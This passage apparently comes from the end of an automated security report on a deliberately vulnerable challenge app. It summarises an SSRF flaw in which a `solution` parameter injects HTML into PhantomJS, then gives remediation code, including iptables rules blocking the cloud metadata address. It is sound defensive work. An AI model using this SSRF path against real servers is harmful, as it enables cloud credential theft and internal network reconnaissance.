- ❌ No JWKS fetchers or OAuth metadata endpoints

**Importers:**
- ❌ No "import from URL" functionality

**Cloud Metadata:**
- ❌ No explicit cloud metadata API calls (but accessible via SSRF)

### SSRF Sink Summary

| # | Sink Type | File | Lines | Parameter | Destination | Severity |
|---|-----------|------|-------|-----------|-------------|----------|
| 1 | PhantomJS HTML Injection | app.py, check.js | 68-73, 33-50, 20 | `solution` POST param | Internal networks, cloud metadata, internet | **CRITICAL** |

### Remediation Recommendations

If this vulnerability were to be fixed (counter to challenge purpose):

1. **Input Validation:**
   ```python
   import re
   ALLOWED_PATTERN = re.compile(r'^[a-zA-Z0-9\s]+$')
   if not ALLOWED_PATTERN.match(msg):
       return "Invalid input", 400
   ```

2. **Output Encoding:**
   ```python
   import cgi
   value = "" if msg == "" else '> {0}'.format(cgi.escape(msg, quote=True))
   ```

3. **Network Segmentation:**
   ```dockerfile
   # In Dockerfile
   RUN iptables -A OUTPUT -d 169.254.169.254 -j DROP  # Block metadata
   RUN iptables -A OUTPUT -d 10.0.0.0/8 -j DROP  # Block private networks
   ```

4. **Replace PhantomJS:**
   Use modern headless browser (Playwright, Puppeteer) with configurable network restrictions:
   ```python
   from playwright.sync_api import sync_playwright
   with sync_playwright() as p:
       browser = p.chromium.launch()
       context = browser.new_context(
           bypass_csp=False,
           ignore_https_errors=False,
           java_script_enabled=True,
           offline=False,  # Or True to block all network
       )
       # Intercept network requests and block internal IPs
   ```

5. **AWS IMDSv2 Enforcement:**
   If running on AWS EC2, enforce IMDSv2 which requires PUT requests and tokens, preventing simple GET-based SSRF:
   ```bash
   aws ec2 modify-instance-metadata-options \
       --instance-id i-xxx \
       --http-tokens required \
       --http-put-response-hop-limit 1
   ```

**Conclusion:** The application contains a critical SSRF vulnerability exploitable through the publicly accessible `/page` endpoint. An external attacker with no authentication can force the server to make arbitrary HTTP requests to internal networks, cloud metadata endpoints, and external services by injecting HTML tags into the `solution` parameter. This vulnerability is particularly severe as it enables cloud credential theft, internal network reconnaissance, and potential lateral movement within the infrastructure.

---

**PRE-RECON CODE ANALYSIS COMPLETE**

## Authenticated Scans

### SCHEMATHESIS
Status: skipped
No API schemas found

---
Report generated at: 2025-10-30T18:37:47.425Z